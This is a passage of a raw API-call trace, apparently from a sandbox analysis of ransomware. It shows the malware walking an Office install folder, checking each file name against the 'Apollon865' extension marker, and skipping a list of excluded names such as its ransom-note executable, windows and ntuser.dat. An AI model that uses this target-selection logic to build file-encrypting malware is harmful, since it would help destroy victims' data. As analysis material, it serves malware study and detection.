	[0072.682] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK_K_COL.HXK" | out: lpString1="OUTLOOK_K_COL.HXK") returned="OUTLOOK_K_COL.HXK"
	[0072.682] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17
	[0072.682] lstrlenW (lpString="Apollon865") returned 10
	[0072.683] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.683] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLPERF.H" | out: lpString1="OUTLPERF.H") returned="OUTLPERF.H"
	[0072.683] lstrlenW (lpString="OUTLPERF.H") returned 10
	[0072.683] lstrlenW (lpString="Apollon865") returned 10
	[0072.683] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLPERF.INI" | out: lpString1="OUTLPERF.INI") returned="OUTLPERF.INI"
	[0072.683] lstrlenW (lpString="OUTLPERF.INI") returned 12
	[0072.683] lstrlenW (lpString="Apollon865") returned 10
	[0072.683] lstrcmpiW (lpString1="TLPERF.INI", lpString2="Apollon865") returned 1
	[0072.683] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLWVW.DLL" | out: lpString1="OUTLWVW.DLL") returned="OUTLWVW.DLL"
	[0072.683] lstrlenW (lpString="OUTLWVW.DLL") returned 11
	[0072.683] lstrlenW (lpString="Apollon865") returned 10
	[0072.683] lstrcmpiW (lpString1="UTLWVW.DLL", lpString2="Apollon865") returned 1
	[0072.683] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLWVW.DLL.IDX_DLL" | out: lpString1="OUTLWVW.DLL.IDX_DLL") returned="OUTLWVW.DLL.IDX_DLL"
	[0072.683] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19
	[0072.683] lstrlenW (lpString="Apollon865") returned 10
	[0072.683] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.683] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PASSPORT.CSS" | out: lpString1="PASSPORT.CSS") returned="PASSPORT.CSS"
	[0072.683] lstrlenW (lpString="PASSPORT.CSS") returned 12
	[0072.683] lstrlenW (lpString="Apollon865") returned 10
	[0072.683] lstrcmpiW (lpString1="SSPORT.CSS", lpString2="Apollon865") returned 1
	[0072.684] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PASTEL.CSS" | out: lpString1="PASTEL.CSS") returned="PASTEL.CSS"
	[0072.684] lstrlenW (lpString="PASTEL.CSS") returned 10
	[0072.684] lstrlenW (lpString="Apollon865") returned 10
	[0072.684] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PE.VSL" | out: lpString1="PE.VSL") returned="PE.VSL"
	[0072.684] lstrlenW (lpString="PE.VSL") returned 6
	[0072.684] lstrlenW (lpString="Apollon865") returned 10
	[0072.684] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PIPELINE.VRD" | out: lpString1="PIPELINE.VRD") returned="PIPELINE.VRD"
	[0072.684] lstrlenW (lpString="PIPELINE.VRD") returned 12
	[0072.684] lstrlenW (lpString="Apollon865") returned 10
	[0072.684] lstrcmpiW (lpString1="PELINE.VRD", lpString2="Apollon865") returned 1
	[0072.684] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PJINTL.DLL" | out: lpString1="PJINTL.DLL") returned="PJINTL.DLL"
	[0072.684] lstrlenW (lpString="PJINTL.DLL") returned 10
	[0072.684] lstrlenW (lpString="Apollon865") returned 10
	[0072.684] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PJINTLC.DLL" | out: lpString1="PJINTLC.DLL") returned="PJINTLC.DLL"
	[0072.684] lstrlenW (lpString="PJINTLC.DLL") returned 11
	[0072.684] lstrlenW (lpString="Apollon865") returned 10
	[0072.684] lstrcmpiW (lpString1="JINTLC.DLL", lpString2="Apollon865") returned 1
	[0072.684] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PMENURES.DLL" | out: lpString1="PMENURES.DLL") returned="PMENURES.DLL"
	[0072.684] lstrlenW (lpString="PMENURES.DLL") returned 12
	[0072.684] lstrlenW (lpString="Apollon865") returned 10
	[0072.684] lstrcmpiW (lpString1="ENURES.DLL", lpString2="Apollon865") returned 1
	[0072.685] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT.DEV.HXS" | out: lpString1="POWERPNT.DEV.HXS") returned="POWERPNT.DEV.HXS"
	[0072.685] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16
	[0072.685] lstrlenW (lpString="Apollon865") returned 10
	[0072.685] lstrcmpiW (lpString1="NT.DEV.HXS", lpString2="Apollon865") returned 1
	[0072.685] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT.DEV_COL.HXC" | out: lpString1="POWERPNT.DEV_COL.HXC") returned="POWERPNT.DEV_COL.HXC"
	[0072.685] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20
	[0072.685] lstrlenW (lpString="Apollon865") returned 10
	[0072.685] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="Apollon865") returned 1
	[0072.685] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT.DEV_COL.HXT" | out: lpString1="POWERPNT.DEV_COL.HXT") returned="POWERPNT.DEV_COL.HXT"
	[0072.685] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20
	[0072.685] lstrlenW (lpString="Apollon865") returned 10
	[0072.685] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="Apollon865") returned 1
	[0072.685] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT.DEV_F_COL.HXK" | out: lpString1="POWERPNT.DEV_F_COL.HXK") returned="POWERPNT.DEV_F_COL.HXK"
	[0072.685] lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22
	[0072.685] lstrlenW (lpString="Apollon865") returned 10
	[0072.685] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.685] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT.DEV_K_COL.HXK" | out: lpString1="POWERPNT.DEV_K_COL.HXK") returned="POWERPNT.DEV_K_COL.HXK"
	[0072.685] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22
	[0072.685] lstrlenW (lpString="Apollon865") returned 10
	[0072.685] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.685] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT.HXS" | out: lpString1="POWERPNT.HXS") returned="POWERPNT.HXS"
	[0072.685] lstrlenW (lpString="POWERPNT.HXS") returned 12
	[0072.685] lstrlenW (lpString="Apollon865") returned 10
	[0072.685] lstrcmpiW (lpString1="WERPNT.HXS", lpString2="Apollon865") returned 1
	[0072.686] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT_COL.HXC" | out: lpString1="POWERPNT_COL.HXC") returned="POWERPNT_COL.HXC"
	[0072.686] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16
	[0072.686] lstrlenW (lpString="Apollon865") returned 10
	[0072.686] lstrcmpiW (lpString1="NT_COL.HXC", lpString2="Apollon865") returned 1
	[0072.686] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT_COL.HXT" | out: lpString1="POWERPNT_COL.HXT") returned="POWERPNT_COL.HXT"
	[0072.686] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16
	[0072.686] lstrlenW (lpString="Apollon865") returned 10
	[0072.686] lstrcmpiW (lpString1="NT_COL.HXT", lpString2="Apollon865") returned 1
	[0072.686] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT_F_COL.HXK" | out: lpString1="POWERPNT_F_COL.HXK") returned="POWERPNT_F_COL.HXK"
	[0072.686] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18
	[0072.686] lstrlenW (lpString="Apollon865") returned 10
	[0072.686] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.686] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="POWERPNT_K_COL.HXK" | out: lpString1="POWERPNT_K_COL.HXK") returned="POWERPNT_K_COL.HXK"
	[0072.686] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18
	[0072.686] lstrlenW (lpString="Apollon865") returned 10
	[0072.686] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.686] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PPINTL.DLL" | out: lpString1="PPINTL.DLL") returned="PPINTL.DLL"
	[0072.686] lstrlenW (lpString="PPINTL.DLL") returned 10
	[0072.686] lstrlenW (lpString="Apollon865") returned 10
	[0072.686] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PPINTL.DLL.IDX_DLL" | out: lpString1="PPINTL.DLL.IDX_DLL") returned="PPINTL.DLL.IDX_DLL"
	[0072.687] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18
	[0072.687] lstrlenW (lpString="Apollon865") returned 10
	[0072.687] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.687] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PPINTL.REST.IDX_DLL" | out: lpString1="PPINTL.REST.IDX_DLL") returned="PPINTL.REST.IDX_DLL"
	[0072.687] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19
	[0072.687] lstrlenW (lpString="Apollon865") returned 10
	[0072.687] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.687] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PRIMARY.CSS" | out: lpString1="PRIMARY.CSS") returned="PRIMARY.CSS"
	[0072.687] lstrlenW (lpString="PRIMARY.CSS") returned 11
	[0072.687] lstrlenW (lpString="Apollon865") returned 10
	[0072.687] lstrcmpiW (lpString1="RIMARY.CSS", lpString2="Apollon865") returned 1
	[0072.687] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROPRPT.VSL" | out: lpString1="PROPRPT.VSL") returned="PROPRPT.VSL"
	[0072.687] lstrlenW (lpString="PROPRPT.VSL") returned 11
	[0072.687] lstrlenW (lpString="Apollon865") returned 10
	[0072.687] lstrcmpiW (lpString1="ROPRPT.VSL", lpString2="Apollon865") returned 1
	[0072.687] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROPRPT.VSS" | out: lpString1="PROPRPT.VSS") returned="PROPRPT.VSS"
	[0072.687] lstrlenW (lpString="PROPRPT.VSS") returned 11
	[0072.687] lstrlenW (lpString="Apollon865") returned 10
	[0072.687] lstrcmpiW (lpString1="ROPRPT.VSS", lpString2="Apollon865") returned 1
	[0072.687] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROTTPLN.DOC" | out: lpString1="PROTTPLN.DOC") returned="PROTTPLN.DOC"
	[0072.687] lstrlenW (lpString="PROTTPLN.DOC") returned 12
	[0072.687] lstrlenW (lpString="Apollon865") returned 10
	[0072.687] lstrcmpiW (lpString1="OTTPLN.DOC", lpString2="Apollon865") returned 1
	[0072.688] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROTTPLN.PPT" | out: lpString1="PROTTPLN.PPT") returned="PROTTPLN.PPT"
	[0072.688] lstrlenW (lpString="PROTTPLN.PPT") returned 12
	[0072.688] lstrlenW (lpString="Apollon865") returned 10
	[0072.688] lstrcmpiW (lpString1="OTTPLN.PPT", lpString2="Apollon865") returned 1
	[0072.688] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROTTPLN.XLS" | out: lpString1="PROTTPLN.XLS") returned="PROTTPLN.XLS"
	[0072.688] lstrlenW (lpString="PROTTPLN.XLS") returned 12
	[0072.688] lstrlenW (lpString="Apollon865") returned 10
	[0072.688] lstrcmpiW (lpString1="OTTPLN.XLS", lpString2="Apollon865") returned 1
	[0072.688] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROTTPLV.DOC" | out: lpString1="PROTTPLV.DOC") returned="PROTTPLV.DOC"
	[0072.688] lstrlenW (lpString="PROTTPLV.DOC") returned 12
	[0072.688] lstrlenW (lpString="Apollon865") returned 10
	[0072.688] lstrcmpiW (lpString1="OTTPLV.DOC", lpString2="Apollon865") returned 1
	[0072.689] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROTTPLV.PPT" | out: lpString1="PROTTPLV.PPT") returned="PROTTPLV.PPT"
	[0072.689] lstrlenW (lpString="PROTTPLV.PPT") returned 12
	[0072.689] lstrlenW (lpString="Apollon865") returned 10
	[0072.689] lstrcmpiW (lpString1="OTTPLV.PPT", lpString2="Apollon865") returned 1
	[0072.689] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PROTTPLV.XLS" | out: lpString1="PROTTPLV.XLS") returned="PROTTPLV.XLS"
	[0072.689] lstrlenW (lpString="PROTTPLV.XLS") returned 12
	[0072.689] lstrlenW (lpString="Apollon865") returned 10
	[0072.689] lstrcmpiW (lpString1="OTTPLV.XLS", lpString2="Apollon865") returned 1
	[0072.689] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PSRCHKEY.DAT" | out: lpString1="PSRCHKEY.DAT") returned="PSRCHKEY.DAT"
	[0072.689] lstrlenW (lpString="PSRCHKEY.DAT") returned 12
	[0072.689] lstrlenW (lpString="Apollon865") returned 10
	[0072.689] lstrcmpiW (lpString1="RCHKEY.DAT", lpString2="Apollon865") returned 1
	[0072.690] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PSRCHLEX.DAT" | out: lpString1="PSRCHLEX.DAT") returned="PSRCHLEX.DAT"
	[0072.690] lstrlenW (lpString="PSRCHLEX.DAT") returned 12
	[0072.690] lstrlenW (lpString="Apollon865") returned 10
	[0072.690] lstrcmpiW (lpString1="RCHLEX.DAT", lpString2="Apollon865") returned 1
	[0072.690] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PSRCHLTS.DAT" | out: lpString1="PSRCHLTS.DAT") returned="PSRCHLTS.DAT"
	[0072.690] lstrlenW (lpString="PSRCHLTS.DAT") returned 12
	[0072.690] lstrlenW (lpString="Apollon865") returned 10
	[0072.690] lstrcmpiW (lpString1="RCHLTS.DAT", lpString2="Apollon865") returned 1
	[0072.690] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PSRCHPHN.DAT" | out: lpString1="PSRCHPHN.DAT") returned="PSRCHPHN.DAT"
	[0072.690] lstrlenW (lpString="PSRCHPHN.DAT") returned 12
	[0072.690] lstrlenW (lpString="Apollon865") returned 10
	[0072.690] lstrcmpiW (lpString1="RCHPHN.DAT", lpString2="Apollon865") returned 1
	[0072.690] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PSRCHSRN.DAT" | out: lpString1="PSRCHSRN.DAT") returned="PSRCHSRN.DAT"
	[0072.690] lstrlenW (lpString="PSRCHSRN.DAT") returned 12
	[0072.690] lstrlenW (lpString="Apollon865") returned 10
	[0072.690] lstrcmpiW (lpString1="RCHSRN.DAT", lpString2="Apollon865") returned 1
	[0072.690] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUB6INTL.DLL" | out: lpString1="PUB6INTL.DLL") returned="PUB6INTL.DLL"
	[0072.690] lstrlenW (lpString="PUB6INTL.DLL") returned 12
	[0072.690] lstrlenW (lpString="Apollon865") returned 10
	[0072.690] lstrcmpiW (lpString1="B6INTL.DLL", lpString2="Apollon865") returned 1
	[0072.690] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUB6INTL.DLL.IDX_DLL" | out: lpString1="PUB6INTL.DLL.IDX_DLL") returned="PUB6INTL.DLL.IDX_DLL"
	[0072.690] lstrlenW (lpString="PUB6INTL.DLL.IDX_DLL") returned 20
	[0072.690] lstrlenW (lpString="Apollon865") returned 10
	[0072.691] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.691] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUB6INTL.REST.IDX_DLL" | out: lpString1="PUB6INTL.REST.IDX_DLL") returned="PUB6INTL.REST.IDX_DLL"
	[0072.691] lstrlenW (lpString="PUB6INTL.REST.IDX_DLL") returned 21
	[0072.691] lstrlenW (lpString="Apollon865") returned 10
	[0072.691] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.691] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUBCOLOR.SCM" | out: lpString1="PUBCOLOR.SCM") returned="PUBCOLOR.SCM"
	[0072.691] lstrlenW (lpString="PUBCOLOR.SCM") returned 12
	[0072.691] lstrlenW (lpString="Apollon865") returned 10
	[0072.691] lstrcmpiW (lpString1="BCOLOR.SCM", lpString2="Apollon865") returned 1
	[0072.691] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUBFTSCM" | out: lpString1="PUBFTSCM") returned="PUBFTSCM"
	[0072.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0072.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0072.691] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0072.691] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="Apollon865.txt.exe") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2=".") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="..") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="windows") returned -1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="bootmgr") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="temp") returned -1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="pagefile.sys") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="boot") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="ids.txt") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="ntuser.dat") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="perflogs") returned 1
	[0072.691] lstrcmpiW (lpString1="PUBSPAPR", lpString2="MSBuild") returned 1
	[0072.691] lstrlenW (lpString="PUBSPAPR") returned 8
	[0072.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM") returned 56
	[0072.692] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUBSPAPR" | out: lpString1="PUBSPAPR") returned="PUBSPAPR"
	[0072.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0072.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591440
	[0072.692] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0072.692] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2=".") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="..") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="windows") returned -1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="bootmgr") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="temp") returned -1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="pagefile.sys") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="boot") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="ids.txt") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="ntuser.dat") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="perflogs") returned 1
	[0072.692] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="MSBuild") returned 1
	[0072.692] lstrlenW (lpString="PUBWZINT.DLL") returned 12
	[0072.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR") returned 56
	[0072.692] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUBWZINT.DLL" | out: lpString1="PUBWZINT.DLL") returned="PUBWZINT.DLL"
	[0072.692] lstrlenW (lpString="PUBWZINT.DLL") returned 12
	[0072.692] lstrlenW (lpString="Apollon865") returned 10
	[0072.692] lstrcmpiW (lpString1="BWZINT.DLL", lpString2="Apollon865") returned 1
	[0072.692] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUBWZINT.REST.IDX_DLL" | out: lpString1="PUBWZINT.REST.IDX_DLL") returned="PUBWZINT.REST.IDX_DLL"
	[0072.692] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21
	[0072.692] lstrlenW (lpString="Apollon865") returned 10
	[0072.692] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.692] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="QRYINT32.DLL" | out: lpString1="QRYINT32.DLL") returned="QRYINT32.DLL"
	[0072.693] lstrlenW (lpString="QRYINT32.DLL") returned 12
	[0072.693] lstrlenW (lpString="Apollon865") returned 10
	[0072.693] lstrcmpiW (lpString1="YINT32.DLL", lpString2="Apollon865") returned 1
	[0072.693] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="QuickStyles" | out: lpString1="QuickStyles") returned="QuickStyles"
	[0072.693] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0072.693] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0072.693] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0072.693] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="Apollon865.txt.exe") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2=".") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="..") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="windows") returned -1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="bootmgr") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="temp") returned -1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="pagefile.sys") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="boot") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="ids.txt") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="ntuser.dat") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="perflogs") returned 1
	[0072.693] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="MSBuild") returned 1
	[0072.693] lstrlenW (lpString="ReviewRouting_Init.xsn") returned 22
	[0072.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles") returned 59
	[0072.693] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ReviewRouting_Init.xsn" | out: lpString1="ReviewRouting_Init.xsn") returned="ReviewRouting_Init.xsn"
	[0072.693] lstrlenW (lpString="ReviewRouting_Init.xsn") returned 22
	[0072.693] lstrlenW (lpString="Apollon865") returned 10
	[0072.693] lstrcmpiW (lpString1="g_Init.xsn", lpString2="Apollon865") returned 1
	[0072.693] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ReviewRouting_Review.xsn" | out: lpString1="ReviewRouting_Review.xsn") returned="ReviewRouting_Review.xsn"
	[0072.693] lstrlenW (lpString="ReviewRouting_Review.xsn") returned 24
	[0072.693] lstrlenW (lpString="Apollon865") returned 10
	[0072.693] lstrcmpiW (lpString1="Review.xsn", lpString2="Apollon865") returned 1
	[0072.694] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ROSE.CSS" | out: lpString1="ROSE.CSS") returned="ROSE.CSS"
	[0072.694] lstrlenW (lpString="ROSE.CSS") returned 8
	[0072.694] lstrlenW (lpString="Apollon865") returned 10
	[0072.694] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="RPLBRF35.CHM" | out: lpString1="RPLBRF35.CHM") returned="RPLBRF35.CHM"
	[0072.694] lstrlenW (lpString="RPLBRF35.CHM") returned 12
	[0072.694] lstrlenW (lpString="Apollon865") returned 10
	[0072.694] lstrcmpiW (lpString1="LBRF35.CHM", lpString2="Apollon865") returned 1
	[0072.694] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SAVASWEB.VSL" | out: lpString1="SAVASWEB.VSL") returned="SAVASWEB.VSL"
	[0072.694] lstrlenW (lpString="SAVASWEB.VSL") returned 12
	[0072.694] lstrlenW (lpString="Apollon865") returned 10
	[0072.694] lstrcmpiW (lpString1="VASWEB.VSL", lpString2="Apollon865") returned 1
	[0072.694] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SETLANG.HXS" | out: lpString1="SETLANG.HXS") returned="SETLANG.HXS"
	[0072.694] lstrlenW (lpString="SETLANG.HXS") returned 11
	[0072.694] lstrlenW (lpString="Apollon865") returned 10
	[0072.694] lstrcmpiW (lpString1="ETLANG.HXS", lpString2="Apollon865") returned 1
	[0072.694] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SETLANG_COL.HXC" | out: lpString1="SETLANG_COL.HXC") returned="SETLANG_COL.HXC"
	[0072.694] lstrlenW (lpString="SETLANG_COL.HXC") returned 15
	[0072.694] lstrlenW (lpString="Apollon865") returned 10
	[0072.694] lstrcmpiW (lpString1="NG_COL.HXC", lpString2="Apollon865") returned 1
	[0072.694] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SETLANG_COL.HXT" | out: lpString1="SETLANG_COL.HXT") returned="SETLANG_COL.HXT"
	[0072.694] lstrlenW (lpString="SETLANG_COL.HXT") returned 15
	[0072.694] lstrlenW (lpString="Apollon865") returned 10
	[0072.695] lstrcmpiW (lpString1="NG_COL.HXT", lpString2="Apollon865") returned 1
	[0072.695] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SETLANG_F_COL.HXK" | out: lpString1="SETLANG_F_COL.HXK") returned="SETLANG_F_COL.HXK"
	[0072.695] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17
	[0072.695] lstrlenW (lpString="Apollon865") returned 10
	[0072.695] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.695] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SETLANG_K_COL.HXK" | out: lpString1="SETLANG_K_COL.HXK") returned="SETLANG_K_COL.HXK"
	[0072.695] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17
